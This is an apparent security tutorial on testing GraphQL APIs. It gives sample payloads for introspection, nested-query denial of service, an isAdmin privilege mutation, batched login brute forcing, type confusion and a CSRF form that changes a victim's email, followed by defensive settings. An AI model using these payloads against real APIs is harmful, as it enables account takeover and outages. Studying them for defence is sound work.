GraphQL API Hacking: A Comprehensive Guide
Understanding and exploiting GraphQL vulnerabilities for security testing
Introduction to GraphQL Security
GraphQL has become increasingly popular as an alternative to REST APIs, but its flexibility introduces unique security challenges. Unlike REST, GraphQL allows clients to specify exactly what data they want, which can lead to vulnerabilities if not properly secured.
Why GraphQL is Different
- Single endpoint (typically /graphql) vs multiple REST endpoints
- Client-specified queries give more control to attackers
- Introspection reveals API schema by default
- Batching enables powerful attack vectors
Common GraphQL Vulnerabilities
1. Information Disclosure via Introspection
GraphQL’s introspection system allows querying the schema itself, potentially revealing sensitive information about available types, fields, and operations.
query IntrospectionQuery {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
2. Denial of Service (DoS) Attacks
Complex queries can overwhelm servers by nesting queries too deep:
query {
posts {
title
comments {
text
author {
posts {
comments {
author {
posts {
# And so on...
}
}
}
}
}
}
}
}
3. Authorization Bypasses
Common when developers rely on client-side checks or hide fields instead of securing them:
mutation UpdateAdminSettings {
updateUser(id: "123", isAdmin: true) {
id
isAdmin
}
}
GraphQL Hacking Tools
| Tool | Purpose | Command |
|---|---|---|
| GraphQL Cop | Security testing tool | python3 graphql-cop.py -t https://example.com/graphql |
| InQL | Burp Suite extension | Available in BApp Store |
| GraphQL Voyager | Schema visualization | Online tool or npm package |
| Altair | GraphQL client | Browser extension or desktop app |
Using GraphiQL/GraphQL Playground
Many GraphQL implementations include built-in interactive explorers that can be used for testing:
- Look for
/graphiqlor/playgroundendpoints - Use the Docs explorer to understand available queries
- Test mutations with crafted inputs
Advanced Attack Techniques
1. Batch Query Attacks
GraphQL allows batching multiple queries in a single request, which can be used to bypass rate limits or brute force credentials:
[
{"query":"mutation {login(email:\"us***@**st.com\",password:\"password1\"){token}}"},
{"query":"mutation {login(email:\"us***@**st.com\",password:\"password2\"){token}}"}
// Hundreds more...
]
2. Type Confusion Attacks
Exploiting mismatches between expected and actual types to bypass validation:
mutation {
updateUser(id: 123, input: {
permissions: "admin" # Expected to be enum type
}) {
id
permissions
}
}
3. CSRF with GraphQL
Even though GraphQL typically uses POST, CSRF is still possible if the content-type isn’t validated:
<form action="https://example.com/graphql" method="POST">
<input type="hidden" name="query" value='mutation { changeEmail(email: "at******@**il.com") { success } }' />
<input type="submit" value="Click for free stuff!" />
</form>
Defensive Measures
1. Rate Limiting
Implement query cost analysis to prevent DoS:
# Using graphql-cost-analysis
type Query {
posts(limit: Int = 10): [Post] @cost(complexity: 5, multipliers: ["limit"])
}
2. Disable Introspection in Production
Most GraphQL server implementations allow disabling introspection:
# Apollo Server
const server = new ApolloServer({
introspection: process.env.NODE_ENV !== 'production'
});
3. Input Validation
Always validate and sanitize inputs:
# Using GraphQL scalar types
scalar EmailAddress
scalar UnsignedInt
type Mutation {
updateUser(email: EmailAddress!, age: UnsignedInt!): User
}
Conclusion
GraphQL offers powerful capabilities but requires careful security consideration:
- Always disable introspection in production
- Implement query cost analysis and depth limiting
- Validate all inputs rigorously
- Never trust client-side authorization checks